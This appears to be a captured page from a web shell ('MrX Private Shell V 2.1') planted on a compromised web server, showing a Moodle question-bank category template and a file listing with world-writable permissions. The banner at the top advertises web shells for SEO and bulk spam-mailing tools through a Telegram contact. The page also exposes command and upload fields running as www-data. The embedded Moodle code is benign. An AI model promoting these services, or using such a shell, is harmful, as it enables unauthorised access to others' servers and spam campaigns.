__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template qbank_managecategories/categories

    Template for displaying category view.

    Context variables required for this template:
    * contextid - Context id for js init.
    * categoriesrendered - Array representing categories data rendered.
    * items - Categories data.
    * heading - Category's heading for each context (ie: Course or Quiz).
    * ctxlvl - Context level for categories section - context.

    Example context (json):
    {
        "contextid": "18",
        "categoriesrendered": [{
            "items": [{
                "categoryid": "1",
                "questionbankurl": "question/edit.php?cmid=123",
                "categoryname": "Default for Miscellaneous",
                "idnumber": "1",
                "questioncount": " (1)",
                "categorydesc": "The default category for questions shared in context Miscellaneous",
                "editactionmenu": "<div class='action-menu moodle-actionmenu'>...</div>",
                "handle": true,
                "iconleft": "<i class=\"icon fa fa-arrow-left fa-fw \" title=\"Move to top level\" role=\"img\" aria-label=\"Move to top level\"></i>",
                "iconright": "<i class=\"icon fa fa-arrow-right fa-fw \" title=\"Make child of 'category'\" role=\"img\" aria-label=\"Make child of 'category'\"></i>",
                "children": ""
            }],
            "heading": "Question categories for 'Quiz: qz'",
            "ctxlvl": "contextlevel70"
        }]
    }
}}
<div id="categoryroot"
    class="editing col-11 col-md-12 mt-3 pl-0{{#showdescriptions}} showdescriptions{{/showdescriptions}}"
    data-contextid="{{{contextid}}}">
    {{#categoriesrendered}}
        <h3 class="context-heading">{{heading}}</h3>
        <div class="box py-3 boxwidthwide boxaligncenter generalbox questioncategories {{ctxlvl}}">
            <ul class="qbank_managecategories-categorylist"
                data-contextid="{{contextid}}" data-contextname="{{contextname}}" data-categoryid="{{categoryid}}">
                {{#items}}
                    {{> qbank_managecategories/category }}
                {{/items}}
            </ul>
        </div>
    {{/categoriesrendered}}
</div>


{{#js}}
    require(['qbank_managecategories/categoryroot'], (categoryroot) => {
        categoryroot.init('#categoryroot');
    });
    require(['qbank_managecategories/categorylist'], (categorylist) => {
        // Initialise top-level lists.
        const categoryLists = document.querySelectorAll('.qbank_managecategories-categorylist[data-contextid]');
        categoryLists.forEach(element => {
            categorylist.init(`.qbank_managecategories-categorylist[data-categoryid="${element.dataset.categoryid}"]`);
        });
    });
{{/js}}

Filemanager

Name Type Size Permission Actions
addcategory.mustache File 1.54 KB 0777
categories.mustache File 3.36 KB 0777
categories_header.mustache File 1.68 KB 0777
category.mustache File 3.5 KB 0777
category_condition.mustache File 1.31 KB 0777
category_condition_advanced.mustache File 1.28 KB 0777
category_details.mustache File 2.53 KB 0777
childlist.mustache File 1.96 KB 0777
choose_category.mustache File 892 B 0777
include_subcategories_checkbox.mustache File 1.16 KB 0777
listitem.mustache File 1.83 KB 0777
move_category_list.mustache File 4.6 KB 0777
move_context_list.mustache File 2.95 KB 0777
newchild.mustache File 1.38 KB 0777
showdescriptions.mustache File 1.53 KB 0777
Filemanager